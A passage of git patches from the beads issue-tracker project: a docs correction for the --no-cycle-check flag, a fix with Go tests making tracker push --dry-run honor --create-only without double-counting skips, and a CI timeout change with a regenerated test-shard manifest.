was + // asked for. `bd list` compensates in gatherListInput; any new local + // --format registration needs the same treatment or this fires again. if !commandJSONFlagChanged(cmd) && !cmd.Root().PersistentFlags().Changed("format") { jsonOutput = config.GetBool("json") } else { From 1c14b4c566f6423098bb5be861f1b739f116a74c Mon Sep 17 00:00:00 2001 From: postoso Date: Sat, 26 Sep 2026 09:43:14 -0400 Subject: [PATCH 094/624] docs(dep): say what --no-cycle-check skips on a single-edge add (#6688) On a single-edge dep add (positional or --blocks), --no-cycle-check has never skipped the per-edge cycle probe; it only suppresses the post-add whole-graph warning. Only bulk --file adds trade the per-edge probe away. The flag descriptions and the single-edge example said otherwise, as did the purpose/pins notes on the Oracle A catalog scenario dep_cycles_detected_via_no_cycle_check. Update all four to match what the binary does. No behavior change. Co-authored-by: postoso --- cmd/bd/dep.go | 6 +++--- tests/oracle-a/harness/scenarios/enumerated.json | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index 157cfb077..ac66a790d 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -285,7 +285,7 @@ Examples: bd dep add bd-42 --blocked-by bd-41 # Flag syntax (same effect) bd dep add bd-42 --depends-on bd-41 # Alias (same effect) bd dep add gt-xyz external:beads:mol-run-assignee # Cross-project dependency - bd dep add bd-42 bd-41 --no-cycle-check # Skip cycle check (bulk wiring) + bd dep add bd-42 bd-41 --no-cycle-check # Skip the post-add cycle warning bd dep add --file deps.jsonl # Bulk JSONL: {"from":"bd-42","to":"bd-41"}`, Args: func(cmd *cobra.Command, args []string) error { file, _ := cmd.Flags().GetString("file") @@ -1536,13 +1536,13 @@ func ParseExternalRef(ref string) (project, capability string) { func init() { // dep command shorthand flag depCmd.Flags().StringP("blocks", "b", "", "Issue ID that this issue blocks (shorthand for: bd dep add )") - depCmd.Flags().Bool("no-cycle-check", false, "Skip per-edge cycle checks for speed (bulk wiring); bulk --file adds still run one final whole-graph check before commit") + depCmd.Flags().Bool("no-cycle-check", false, "Skip the post-add cycle warning (the per-edge cycle check still runs)") depAddCmd.Flags().StringP("type", "t", "blocks", "Dependency type (blocks|tracks|related|parent-child|discovered-from|until|caused-by|validates|relates-to|supersedes); 'blocked-by' and 'depends-on' are accepted as aliases for 'blocks'") depAddCmd.Flags().String("blocked-by", "", "Issue ID that blocks the first issue (alternative to positional arg)") depAddCmd.Flags().String("depends-on", "", "Issue ID that the first issue depends on (alias for --blocked-by)") depAddCmd.Flags().String("file", "", "Read dependency edges from JSONL file, or '-' for stdin") - depAddCmd.Flags().Bool("no-cycle-check", false, "Skip per-edge cycle checks for speed (bulk wiring); bulk --file adds still run one final whole-graph check before commit") + depAddCmd.Flags().Bool("no-cycle-check", false, "On bulk --file adds, skip per-edge cycle checks and the post-add cycle warning (one final whole-graph check still runs before commit); on a single-edge add, skip only the post-add cycle warning") // DEPRECATED NO-OP, and it always was one: nothing has ever read this flag, // so a diamond has always been rendered under one parent only. The role's diff --git a/tests/oracle-a/harness/scenarios/enumerated.json b/tests/oracle-a/harness/scenarios/enumerated.json index 0c448903d..d27134b10 100644 --- a/tests/oracle-a/harness/scenarios/enumerated.json +++ b/tests/oracle-a/harness/scenarios/enumerated.json @@ -6084,7 +6084,7 @@ }, { "name": "dep_cycles_detected_via_no_cycle_check", - "purpose": "Bypass per-edge cycle check with --no-cycle-check to plant a 2-node blocks cycle, then dep cycles reports it.", + "purpose": "Show that --no-cycle-check does not bypass the per-edge cycle check on a single-edge add: the edge that would close a 2-node blocks cycle is still rejected, and dep cycles reports none.", "prefix": "dep", "steps": [ [ @@ -6133,7 +6133,7 @@ "--json" ] ], - "pins": "Both adds succeed (single-edge add path honors --no-cycle-check); dep cycles --json returns a non-empty array of cycles containing {dep-1,dep-2}. Cycle member ordering compared as multiset.", + "pins": "First add succeeds; second errors 'adding dependency would create a cycle'; exit 1 (on a single-edge add --no-cycle-check skips only the post-add cycle warning, not the per-edge check); dep cycles --json returns [].", "deterministic": true }, { From 8446d09e4fd83ae850605f162a72eab341189ca2 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 06:46:27 -0700 Subject: [PATCH 095/624] fix(tracker): honor --create-only in push --dry-run preview (#6337) (#6712) * fix(tracker): honor --create-only in push --dry-run preview (#6337) Root cause: the sequential push loop in Engine.doPush short-circuits dry runs before the real-run branch that gates updates on `!opts.CreateOnly || forceIDs[id]`. The dry-run block had no CreateOnly check, so every already-linked issue was previewed as "Would update" and counted as Updated, while a real --create-only run skips it. The batch path (collectBatchPushIssues) already filtered these correctly. Fix: in the dry-run block, skip linked issues when CreateOnly is set and the issue is not force-pushed, using the same rule as collectBatchPushIssues. Dry-run and real run now report identical created/updated/skipped counts. Adds a pure-Go regression test on the UOW store fake (no Dolt server) asserting the dry-run prints no update preview and that its stats match a real --create-only run (Created 1, Updated 0, Skipped 1). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(tracker): count each issue once when a batch pusher falls through to the sequential dry-run (#6712 review) Root cause: a tracker that implements BatchPushTracker but not BatchPushDryRunner (Linear) runs collectBatchPushIssues, adds its skip count to stats, and then on --dry-run falls through to the sequential loop. That loop iterated every local issue rather than the ones the batch filter kept, so each issue the filter skipped (parent, type, ShouldPush, conflict, and now create-only) was counted as Skipped a second time. With 1 linked + 1 unlinked issue, `--dry-run --create-only` reported Created:1 Updated:0 Skipped:2. Fix: on that fall-through only, narrow the sequential loop to the original (unformatted) issues whose IDs the batch filter kept. The filter applies the same parent/type/ShouldPush/skipIDs/create-only checks the loop does, so kept issues pass them again and nothing else is dropped; the loop still emits every "Would create"/"Would update" preview and the stored-push-hash skip. Originals are used instead of pushIssues because those may be FormatDescription copies, which would change the content hash the stored-hash skip compares. Trackers with no BatchPush (Jira), Notion's BatchPushDryRun path, and real batch pushes are unchanged. Tests: a Linear-shaped fake (BatchPush, no BatchPushDryRun) pins one outcome per issue for the create-only and ShouldPush fall-through skips; a forced-linked --create-only case previews and counts as an update like the real run; the real --create-only run is asserted to fetch nothing. The CHANGELOG entry now names bd jira sync and bd linear sync and notes Notion's batch dry-run was already correct. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * docs(tracker): note keepBatchPushIssues' guard is defensive; name ShouldPush in the CHANGELOG (#6712 review) Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 10 + internal/tracker/engine.go | 29 +++ internal/tracker/engine_create_only_test.go | 229 ++++++++++++++++++++ 3 files changed, 268 insertions(+) create mode 100644 internal/tracker/engine_create_only_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 51eb82066..72107ba66 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -381,6 +381,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ready set should fail to compile rather than silently fall back to an unbounded query. +- **Push `--dry-run` now honors `--create-only`** + ([#6337](https://github.com/gastownhall/beads/issues/6337)). The sequential + tracker push previewed "Would update" for every already-linked issue, even + though a real `--create-only` run skips them, so the preview over-reported + updates and under-reported skips. This affected `bd jira sync` and + `bd linear sync` with `--push --create-only --dry-run`. The dry-run now + applies the same `--create-only` gate as the real run. Linear's dry-run also + no longer counts an issue its batch filter skipped (create-only, a `ShouldPush` + hook, parent, type, or conflict) as skipped twice. Notion's batch dry-run was already correct. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/internal/tracker/engine.go b/internal/tracker/engine.go index 8a367a0e7..c04c6bc85 100644 --- a/internal/tracker/engine.go +++ b/internal/tracker/engine.go @@ -1008,6 +1008,11 @@ func (e *Engine) doPush(ctx context.Context, opts SyncOptions, skipIDs, forceIDs } return stats, nil } + // No batch dry-runner (e.g. Linear): preview sequentially below, + // but only over the issues the batch filter kept. It has already + // counted every other issue as Skipped, and iterating all issues + // would count those skips a second time (gastownhall/beads#6712). + issues = keepBatchPushIssues(issues, pushIssues) } else { batchResult, err := batchTracker.BatchPush(ctx, pushIssues, forceIDs) if err != nil { @@ -1063,6 +1068,10 @@ func (e *Engine) doPush(ctx context.Context, opts SyncOptions, skipIDs, forceIDs if willCreate { e.msg("[dry-run] Would create in %s: %s", e.Tracker.DisplayName(), ui.SanitizeForTerminal(issue.Title)) stats.Created++ + } else if opts.CreateOnly && !forceIDs[issue.ID] { + // A real --create-only run leaves linked issues alone, so the + // preview must skip them too (gastownhall/beads#6337). + stats.Skipped++ } else if !forceIDs[issue.ID] && e.storedPushHashMatches(ctx, issue, extRef) { // Content unchanged since last push: a real run would skip this // issue, so the preview must say so too (gastownhall/beads#4214). @@ -1217,6 +1226,26 @@ func (e *Engine) collectBatchPushIssues(issues []*types.Issue, opts SyncOptions, return pushIssues, skipped } +// keepBatchPushIssues returns the original (unformatted) issues whose IDs +// collectBatchPushIssues kept, in their original order. The sequential dry-run +// needs the originals: pushIssues may carry FormatDescription copies, which +// would change the content hash the stored-push-hash skip compares against. +// That is defensive today - the one batch-only tracker, Linear, sets no +// ContentHash - but keeps the preview honest for one that does. +func keepBatchPushIssues(issues, pushIssues []*types.Issue) []*types.Issue { + kept := make(map[string]bool, len(pushIssues)) + for _, issue := range pushIssues { + kept[issue.ID] = true + } + out := make([]*types.Issue, 0, len(pushIssues)) + for _, issue := range issues { + if kept[issue.ID] { + out = append(out, issue) + } + } + return out +} + func (e *Engine) formatPushIssue(issue *types.Issue) *types.Issue { if e.PushHooks == nil || e.PushHooks.FormatDescription == nil { return issue diff --git a/internal/tracker/engine_create_only_test.go b/internal/tracker/engine_create_only_test.go new file mode 100644 index 000000000..4491b9748 --- /dev/null +++ b/internal/tracker/engine_create_only_test.go @@ -0,0 +1,229 @@ +package tracker + +import ( + "context" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestEngineDryRunHonorsCreateOnly pins the sequential push dry-run to the +// real run's --create-only gate (gastownhall/beads#6337): a linked issue that a +// real --create-only push skips must preview as skipped, not "Would update". +// Runs on the pure-Go UOW store so it needs no Dolt server. +func TestEngineDryRunHonorsCreateOnly(t *testing.T) { + ctx := context.Background() + state := &engineUOWState{ + issues: map[string]*types.Issue{ + "bd-linked": { + ID: "bd-linked", + Title: "Already linked", + Status: types.StatusOpen, + IssueType: types.TypeTask, + Priority: 2, + ExternalRef: strPtr("https://test.test/EXT-LINKED"), + }, + "bd-fresh": { + ID: "bd-fresh", + Title: "Not yet linked", + Status: types.StatusOpen, + IssueType: types.TypeTask, + Priority: 2, + }, + }, + configs: map[string]string{"issue_prefix": "bd"}, + } + tracker := newMockTracker("test") + engine := NewEngine(tracker, NewUOWStore(&engineUOWProvider{state: state}), "test-actor") + + var msgs []string + engine.OnMessage = func(msg string) { msgs = append(msgs, msg) } + + dry, err := engine.Sync(ctx, SyncOptions{Push: true, DryRun: true, CreateOnly: true}) + if err != nil { + t.Fatalf("Sync() dry-run error: %v", err) + } + joined := strings.Join(msgs, "\n") + if strings.Contains(joined, "Would update") { + t.Errorf("dry-run messages = %q, did not expect an update preview under --create-only", joined) + } + if !strings.Contains(joined, "Would create in test: Not yet linked") { + t.Errorf("dry-run messages = %q, want create preview for the unlinked issue", joined) + } + if tracker.fetchCalls != 0 || len(tracker.created) != 0 || len(tracker.updated) != 0 { + t.Fatalf("dry-run touched the tracker: fetch=%d created=%d updated=%d", + tracker.fetchCalls, len(tracker.created), len(tracker.updated)) + } + + live, err := engine.Sync(ctx, SyncOptions{Push: true, CreateOnly: true}) + if err != nil { + t.Fatalf("Sync() real run error: %v", err) + } + if len(tracker.updated) != 0 { + t.Errorf("real run tracker.updated = %d, want 0 under --create-only", len(tracker.updated)) + } + if tracker.fetchCalls != 0 { + t.Errorf("real run tracker.fetchCalls = %d, want 0: --create-only skips linked issues before any fetch", tracker.fetchCalls) + } + + want := SyncStats{Created: 1, Updated: 0, Skipped: 1} + for name, got := range map[string]SyncStats{"dry-run": dry.Stats, "real run": live.Stats} { + if got.Created != want.Created || got.Updated != want.Updated || got.Skipped != want.Skipped { + t.Errorf("%s stats = {Created:%d Updated:%d Skipped:%d}, want {Created:%d Updated:%d Skipped:%d}", + name, got.Created, got.Updated, got.Skipped, want.Created, want.Updated, want.Skipped) + } + } +} + +// createOnlyState returns one linked and one unlinked open task. +func createOnlyState() *engineUOWState { + return &engineUOWState{ + issues: map[string]*types.Issue{ + "bd-linked": { + ID: "bd-linked", + Title: "Already linked", + Status: types.StatusOpen, + IssueType: types.TypeTask, + Priority: 2, + ExternalRef: strPtr("https://test.test/EXT-LINKED"), + }, + "bd-fresh": { + ID: "bd-fresh", + Title: "Not yet linked", + Status: types.StatusOpen, + IssueType: types.TypeTask, + Priority: 2, + }, + }, + configs: map[string]string{"issue_prefix": "bd"}, + } +} + +// TestEngineDryRunCreateOnlyForcedLinkedUpdates pins the forced-linked case of +// the #6337 gate: a linked issue in forceIDs (conflict resolved in favor of the +// local copy) is pushed by a real --create-only run, so the preview must show +// it as an update, not a skip. +func TestEngineDryRunCreateOnlyForcedLinkedUpdates(t *testing.T) { + ctx := context.Background() + tracker := newMockTracker("test") + engine := NewEngine(tracker, NewUOWStore(&engineUOWProvider{state: createOnlyState()}), "test-actor") + + var msgs []string + engine.OnMessage = func(msg string) { msgs = append(msgs, msg) } + force := map[string]bool{"bd-linked": true} + + dry, err := engine.doPush(ctx, SyncOptions{Push: true, DryRun: true, CreateOnly: true}, map[string]bool{}, force) + if err != nil { + t.Fatalf("doPush() dry-run error: %v", err) + } + if joined := strings.Join(msgs, "\n"); !strings.Contains(joined, "Would update in test: Already linked") { + t.Errorf("dry-run messages = %q, want an update preview for the forced linked issue", joined) + } + if tracker.fetchCalls != 0 || len(tracker.created) != 0 || len(tracker.updated) != 0 { + t.Fatalf("dry-run touched the tracker: fetch=%d created=%d updated=%d", + tracker.fetchCalls, len(tracker.created), len(tracker.updated)) + } + + live, err := engine.doPush(ctx, SyncOptions{Push: true, CreateOnly: true}, map[string]bool{}, force) + if err != nil { + t.Fatalf("doPush() real run error: %v", err) + } + if _, ok := tracker.updated["EXT-LINKED"]; !ok || len(tracker.updated) != 1 { + t.Errorf("real run tracker.updated = %v, want only EXT-LINKED", tracker.updated) + } + if tracker.fetchCalls != 0 { + t.Errorf("real run tracker.fetchCalls = %d, want 0: forced pushes skip the freshness fetch", tracker.fetchCalls) + } + + want := PushStats{Created: 1, Updated: 1, Skipped: 0} + for name, got := range map[string]*PushStats{"dry-run": dry, "real run": live} { + if got.Created != want.Created || got.Updated != want.Updated || got.Skipped != want.Skipped { + t.Errorf("%s stats = {Created:%d Updated:%d Skipped:%d}, want {Created:%d Updated:%d Skipped:%d}", + name, got.Created, got.Updated, got.Skipped, want.Created, want.Updated, want.Skipped) + } + } +} + +// batchPushOnlyTracker is Linear-shaped: it implements BatchPushTracker but not +// BatchPushDryRunner, so a push dry-run falls through to the sequential loop. +type batchPushOnlyTracker struct { + *mockTracker + batchCalls int +} + +func (m *batchPushOnlyTracker) BatchPush(_ context.Context, _ []*types.Issue, _ map[string]bool) (*BatchPushResult, error) { + m.batchCalls++ + return &BatchPushResult{}, nil +} + +var ( + _ BatchPushTracker = (*batchPushOnlyTracker)(nil) + _ IssueTracker = (*batchPushOnlyTracker)(nil) +) + +// TestEngineBatchFallThroughDryRunCountsEachIssueOnce pins the dry-run fall +// through for batch trackers without a batch dry-runner (gastownhall/beads#6712 +// review): collectBatchPushIssues already counts its skips, so the sequential +// preview must not count those issues again. +func TestEngineBatchFallThroughDryRunCountsEachIssueOnce(t *testing.T) { + if _, ok := IssueTracker(&batchPushOnlyTracker{}).(BatchPushDryRunner); ok { + t.Fatal("batchPushOnlyTracker must not implement BatchPushDryRunner") + } + + cases := []struct { + name string + opts SyncOptions + hooks *PushHooks + want PushStats + msg string + }{ + { + name: "create-only skips linked issue", + opts: SyncOptions{Push: true, DryRun: true, CreateOnly: true}, + want: PushStats{Created: 1, Updated: 0, Skipped: 1}, + msg: "Would create in test: Not yet linked", + }, + { + name: "ShouldPush hook skips linked issue", + opts: SyncOptions{Push: true, DryRun: true}, + hooks: &PushHooks{ShouldPush: func(issue *types.Issue) bool { return issue.ID != "bd-linked" }}, + want: PushStats{Created: 1, Updated: 0, Skipped: 1}, + msg: "Would create in test: Not yet linked", + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + ctx := context.Background() + tracker := &batchPushOnlyTracker{mockTracker: newMockTracker("test")} + engine := NewEngine(tracker, NewUOWStore(&engineUOWProvider{state: createOnlyState()}), "test-actor") + engine.PushHooks = tc.hooks + + var msgs []string + engine.OnMessage = func(msg string) { msgs = append(msgs, msg) } + + got, err := engine.doPush(ctx, tc.opts, map[string]bool{}, map[string]bool{}) + if err != nil { + t.Fatalf("doPush() dry-run error: %v", err) + } + if got.Created != tc.want.Created || got.Updated != tc.want.Updated || got.Skipped != tc.want.Skipped { + t.Errorf("stats = {Created:%d Updated:%d Skipped:%d}, want {Created:%d Updated:%d Skipped:%d}", + got.Created, got.Updated, got.Skipped, tc.want.Created, tc.want.Updated, tc.want.Skipped) + } + if total := got.Created + got.Updated + got.Skipped + got.Errors; total != 2 { + t.Errorf("total outcomes = %d, want 2 (one per issue)", total) + } + joined := strings.Join(msgs, "\n") + if !strings.Contains(joined, tc.msg) { + t.Errorf("dry-run messages = %q, want %q", joined, tc.msg) + } + if strings.Contains(joined, "Would update") { + t.Errorf("dry-run messages = %q, did not expect an update preview", joined) + } + if tracker.batchCalls != 0 || tracker.fetchCalls != 0 || len(tracker.created) != 0 || len(tracker.updated) != 0 { + t.Fatalf("dry-run touched the tracker: batch=%d fetch=%d created=%d updated=%d", + tracker.batchCalls, tracker.fetchCalls, len(tracker.created), len(tracker.updated)) + } + }) + } +} From 6e36c3f19c6c2916ee44deac6a613e6ae0fcf1aa Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 07:17:03 -0700 Subject: [PATCH 096/624] ci: raise proxied Dolt cmd test job timeout, add step timeout, refresh shard manifest (#6689) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci(proxied-cmd): green — give the proxied-shard job its own step timeout, refresh manifest (refs be-bruke) The job-level timeout-minutes was the only backstop for the "Test proxied-server cmd shard" step, and it counts the "Download binaries" step too — so a slow download alone could exhaust the job budget and kill an otherwise-healthy shard's test run with no way to tell the two failure modes apart. Give the test step its own 16m timeout inside the existing 30m job budget, and regenerate the bin-packed shard manifest via scripts/ci/gen_proxied_shard_manifest.py so it stays in sync with the current TestProxiedServer* set (0 drift, all 15 shards fallback:0). * ci(proxied-cmd): mirror the shard timeouts onto the main lane, regen the manifest at the adoption base Adoption review of #6689, iteration 1 — three minor findings, applied here rather than deferred. main.yml's `test-proxied-cmd` is the same job as pr-risk.yml's twin — same proxied-test-shard.sh, same manifest, same total 15 — behind a download/verify step inside a 20m budget with no step timeout, so the exact ambiguous-timeout failure mode this PR removes from the PR lane survived on the post-merge lane, which is where triage happens with nobody watching. Mirror both edits (job 20m -> 30m, step 16m) and record the ordering at the step, since it is not obvious from the site that 16m is deliberately below the script's own -test.timeout=15m plus setup. The manifest's only record of the cost proxy's two known blind spots lived in a hand-written comment block the regeneration deleted: TestProxiedServerListSortRetiresTheWalk seeds 1400 rows and walks the listing three ways off a single init, and TestProxiedServerServeReadParity is the CLI/HTTP read-parity oracle whose presence in this gate-required lane is what makes the anti-drift claim enforced. Re-adding prose to a generated file would just be deleted again, so it moves into the generator's emitted header. Base drift since authoring left the refreshed manifest one test stale — #6584 added TestProxiedServerBackupRefusedOnExternalTopology, which hash-distributed to shard 14 — so "0 drift, all 15 shards fallback:0" was already false on the merge base. Benign (unlisted tests hash-distribute and still run, and drift removed no name, so the strict parser's stale-entry hard-fail was unreachable), but the stated deliverable did not hold. Regenerated at the adoption base: 149 of 149 discovered tests listed, fallback:0 on every shard, peak load unchanged at 39 estimated inits. That figure is a point-in-time measurement, not an invariant: nothing in CI diffs the committed manifest against a regeneration, so it re-drifts the moment the next TestProxiedServer* lands. A freshness step (`gen_proxied_shard_manifest.py 15 | diff - `) on a lane already triggered by .github/scripts/* would make it one; that is follow-up scope. Verified: the generator reproduces the committed manifest byte-identically; BEADS_TEST_SHARD_LIST_ONLY=1 across all 15 shards assigns all 149 discovered TestProxiedServer* functions exactly once with no duplicates or orphans; actionlint clean on both workflows. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- .github/scripts/proxied-cmd-test-shards.txt | 275 +++++++++++--------- .github/workflows/main.yml | 9 +- .github/workflows/pr-risk.yml | 3 +- scripts/ci/gen_proxied_shard_manifest.py | 16 ++ 4 files changed, 182 insertions(+), 121 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 1c5e9dbed..f29510141 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -8,145 +8,182 @@ # splitting, or reweighting TestProxiedServer* functions. Newly-added # tests not listed here hash-distribute via proxied-test-shard.sh. # -# `bd serve`'s two suites are listed at the shard the hash fallback was -# already giving them, so this records the assignment without reshuffling -# the other 100. TestProxiedServerServeReadParity is the CLI/HTTP read parity -# oracle — the behavioural half of the anti-drift claim — so it being IN this -# lane, and this lane being required by PR Risk's CI gate, is the thing that -# makes that claim enforced on PRs rather than asserted in a doc comment. +# This file is generated: notes added here are erased by the next +# regeneration. Add them to the generator instead. Known blind spots +# of the cost proxy (it counts inits, not the work done per init): # -# TestProxiedServerListSortRetiresTheWalk is listed the same way, at the shard -# `cksum` was already giving it. It is the most expensive entry in the file — -# it seeds 1400 rows and walks the listing three ways — and it is here for the -# same reason as the parity oracle: it is the measurement behind the claim that -# `sort=priority` retires the client-side walk, so it has to run on PRs. +# TestProxiedServerListSortRetiresTheWalk is the most expensive +# entry and one of the cheapest-looking: off a single init it seeds +# 1400 rows and walks the listing three ways. It is the measurement +# behind the claim that sort=priority retires the client-side walk, +# so it has to run on PRs. +# +# TestProxiedServerServeReadParity is the CLI/HTTP read parity +# oracle, the behavioural half of the anti-drift claim. It being in +# this lane, and this lane being required by the PR Risk CI gate, +# is what makes that claim enforced on PRs rather than asserted in +# a doc comment. -15 1 TestProxiedServerCount -15 1 TestProxiedServerDelete -15 1 TestProxiedServerDoltRemoteRemove -15 1 TestProxiedServerExport -15 1 TestProxiedServerGateLifecycle +15 1 TestProxiedServerBlocked +15 1 TestProxiedServerCompactDolt +15 1 TestProxiedServerCreate +15 1 TestProxiedServerDep2 +15 1 TestProxiedServerDepConcurrent 15 1 TestProxiedServerListSortRetiresTheWalk -15 1 TestProxiedServerMolCurrent -15 1 TestProxiedServerPathHelpers -15 1 TestProxiedServerTodo -15 1 TestProxiedServerUpdateConcurrentAppendNotes +15 1 TestProxiedServerMolLastActivity +15 1 TestProxiedServerReopenConcurrent +15 1 TestProxiedServerServeReadParity +15 1 TestProxiedServerUpdateConcurrentClaim -15 2 TestProxiedServerCountIncludeInfra -15 2 TestProxiedServerMolBurn -15 2 TestProxiedServerPing -15 2 TestProxiedServerUpdate -15 2 TestProxiedServerUpdateConcurrentClaim +15 2 TestProxiedServerCompactHistory +15 2 TestProxiedServerCreate2 +15 2 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge +15 2 TestProxiedServerFindDuplicates +15 2 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows +15 2 TestProxiedServerReady2 +15 2 TestProxiedServerSQL +15 2 TestProxiedServerServeReadRevision +15 2 TestProxiedServerUpdateConcurrentMetadata 15 2 TestProxiedServerUpdateIfGuards -15 2 TestProxiedServerWispGC -15 3 TestProxiedServerBlocked -15 3 TestProxiedServerChildren -15 3 TestProxiedServerDeferUndefer -15 3 TestProxiedServerMolSquash -15 3 TestProxiedServerPour -15 3 TestProxiedServerPriority -15 3 TestProxiedServerUpdate2 -15 3 TestProxiedServerUpdateConcurrentMetadata +15 3 TestProxiedServerCascadeParity +15 3 TestProxiedServerDoltLifecycle +15 3 TestProxiedServerMolBurn +15 3 TestProxiedServerMolStale +15 3 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity +15 3 TestProxiedServerSQLDatabaseFlag +15 3 TestProxiedServerServeRelatedIssues +15 3 TestProxiedServerTag +15 3 TestProxiedServerUpdate +15 3 TestProxiedServerWispCreateRejectsEnumViolatingVar -15 4 TestProxiedServerCascadeParity -15 4 TestProxiedServerClose2 -15 4 TestProxiedServerDeleteConcurrent -15 4 TestProxiedServerDuplicates -15 4 TestProxiedServerMolBond -15 4 TestProxiedServerQuery -15 4 TestProxiedServerUnclaimIfAssigneeParity -15 4 TestProxiedServerWispCreate +15 4 TestProxiedServerCreateInfraTypeRoutesToWisps +15 4 TestProxiedServerEdit +15 4 TestProxiedServerMoleculeFrontDoorWriteParity +15 4 TestProxiedServerPour +15 4 TestProxiedServerReassignFence +15 4 TestProxiedServerServeAddComment +15 4 TestProxiedServerServeRelease +15 4 TestProxiedServerUpdate2 +15 4 TestProxiedServerUpdateHooks -15 5 TestProxiedServerCreate2 -15 5 TestProxiedServerDepConcurrent -15 5 TestProxiedServerFindDuplicates +15 5 TestProxiedServerClose +15 5 TestProxiedServerConfigConcurrent +15 5 TestProxiedServerExport +15 5 TestProxiedServerGateLifecycle 15 5 TestProxiedServerMolReadyGated -15 5 TestProxiedServerReadyClaimConcurrent -15 5 TestProxiedServerWispList +15 5 TestProxiedServerMultiStatementSQL +15 5 TestProxiedServerServeAddDependencies +15 5 TestProxiedServerServeRemoveDependency +15 5 TestProxiedServerWispCreate -15 6 TestProxiedServerAssign -15 6 TestProxiedServerCleanDatabases -15 6 TestProxiedServerEdit +15 6 TestProxiedServerClose2 +15 6 TestProxiedServerContext +15 6 TestProxiedServerExternalCreate 15 6 TestProxiedServerLink -15 6 TestProxiedServerPrime -15 6 TestProxiedServerReady2 -15 6 TestProxiedServerReadyConcurrent -15 6 TestProxiedServerState +15 6 TestProxiedServerNote +15 6 TestProxiedServerRelate +15 6 TestProxiedServerServeBatchClose +15 6 TestProxiedServerServeSettingsWrites +15 6 TestProxiedServerWispList -15 7 TestProxiedServerClose -15 7 TestProxiedServerCloseConcurrent -15 7 TestProxiedServerExternalCreate -15 7 TestProxiedServerHeartbeat -15 7 TestProxiedServerMolStale -15 7 TestProxiedServerReadyWisp -15 7 TestProxiedServerReclaim -15 7 TestProxiedServerRelate +15 7 TestProxiedServerAssign +15 7 TestProxiedServerBackupRefusedOnExternalTopology +15 7 TestProxiedServerCount +15 7 TestProxiedServerGC +15 7 TestProxiedServerList +15 7 TestProxiedServerOrphans +15 7 TestProxiedServerReady +15 7 TestProxiedServerServeClaim +15 7 TestProxiedServerServeUpdate +15 7 TestProxiedServerState -15 8 TestProxiedServerCreate -15 8 TestProxiedServerGC -15 8 TestProxiedServerGateCheck -15 8 TestProxiedServerMolLastActivity -15 8 TestProxiedServerPromote -15 8 TestProxiedServerQuick -15 8 TestProxiedServerReopenConcurrent -15 8 TestProxiedServerServeClaim -15 8 TestProxiedServerServeReadParity +15 8 TestProxiedServerBatchParity +15 8 TestProxiedServerCountIncludeInfra +15 8 TestProxiedServerDoltRemoteRemove +15 8 TestProxiedServerGateCreateInheritsRepoMetadata +15 8 TestProxiedServerLabel +15 8 TestProxiedServerMolBond +15 8 TestProxiedServerPathHelpers +15 8 TestProxiedServerRecomputeBlocked +15 8 TestProxiedServerServeClaimNext +15 8 TestProxiedServerSetState -15 9 TestProxiedServerBatchParity -15 9 TestProxiedServerDep2 -15 9 TestProxiedServerGraph -15 9 TestProxiedServerMolProgress +15 9 TestProxiedServerChildren +15 9 TestProxiedServerComment +15 9 TestProxiedServerDeferAutoWake +15 9 TestProxiedServerGateFrontDoorDirectServerProxyParity +15 9 TestProxiedServerMemory +15 9 TestProxiedServerPing 15 9 TestProxiedServerPrune -15 9 TestProxiedServerSQL -15 9 TestProxiedServerStatus +15 9 TestProxiedServerReopen +15 9 TestProxiedServerServeClose +15 9 TestProxiedServerStale -15 10 TestProxiedServerCompactDolt -15 10 TestProxiedServerConfigSetMany -15 10 TestProxiedServerHistory -15 10 TestProxiedServerLabel -15 10 TestProxiedServerList -15 10 TestProxiedServerSQLDatabaseFlag -15 10 TestProxiedServerSwarm +15 10 TestProxiedServerCleanDatabases +15 10 TestProxiedServerDeferUndefer +15 10 TestProxiedServerDuplicates +15 10 TestProxiedServerGraph +15 10 TestProxiedServerPourRejectsEnumViolatingVar +15 10 TestProxiedServerSearch +15 10 TestProxiedServerServeCount +15 10 TestProxiedServerShow +15 10 TestProxiedServerStatuses 15 10 TestProxiedServerUpdateWisp -15 11 TestProxiedServerCompactHistory -15 11 TestProxiedServerDeleteWisp -15 11 TestProxiedServerEpic -15 11 TestProxiedServerHuman -15 11 TestProxiedServerInfo -15 11 TestProxiedServerMolDistill -15 11 TestProxiedServerReady -15 11 TestProxiedServerSetState +15 11 TestProxiedServerDelete +15 11 TestProxiedServerDep +15 11 TestProxiedServerGateCheck +15 11 TestProxiedServerGateList +15 11 TestProxiedServerHeartbeat +15 11 TestProxiedServerMolProgress +15 11 TestProxiedServerPriority +15 11 TestProxiedServerPromote +15 11 TestProxiedServerServeCreate +15 11 TestProxiedServerSwarm -15 12 TestProxiedServerDep -15 12 TestProxiedServerLint -15 12 TestProxiedServerServeLifecycle -15 12 TestProxiedServerServeModeGate 